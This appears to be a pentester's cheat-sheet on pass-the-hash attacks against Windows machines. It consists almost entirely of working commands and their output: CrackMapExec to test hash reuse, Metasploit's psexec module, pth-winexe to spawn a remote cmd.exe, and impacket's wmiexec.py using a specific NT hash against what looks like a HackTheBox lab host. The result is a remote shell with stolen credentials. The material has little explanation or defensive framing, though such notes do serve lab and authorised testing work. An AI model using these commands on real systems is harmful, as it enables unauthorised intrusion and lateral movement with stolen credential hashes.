Pass The Hash Techniques

Test if the has can be passed quickly across an IP or entire network. (noisy though)
If we see (pwned!) then we can pass the hash to this machine

crackmapexec 1.1.1.1 -u 'USERNAME' -H 'NTHASHONLY'
CME          1.1.1.1:445 MACHINENAME        [*] Windows 6.3 Build 9600 (name:BOX) (domain:DOMAIN (Pwn3d!)
---------------------------------------------------------------------------------------------------------
MSF

use exploitwindows/smb/psexec


set SMBPASS - LM:NT

---------------------------------------------------------------

PTH-WINEXE

If **NO PASSWORD** for the LM HASH type 32 0's

pth-winexe -UUSERNAME%LM:NT //IP cmd.exe

E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

-----------------------------------------------------------------------------------------

PassTheHash From windows using the impacket toolset.

#/opt/impacket/examples$ python3 wmiexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@forest.htb.local
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

-------------------------------------------------------------------------------------------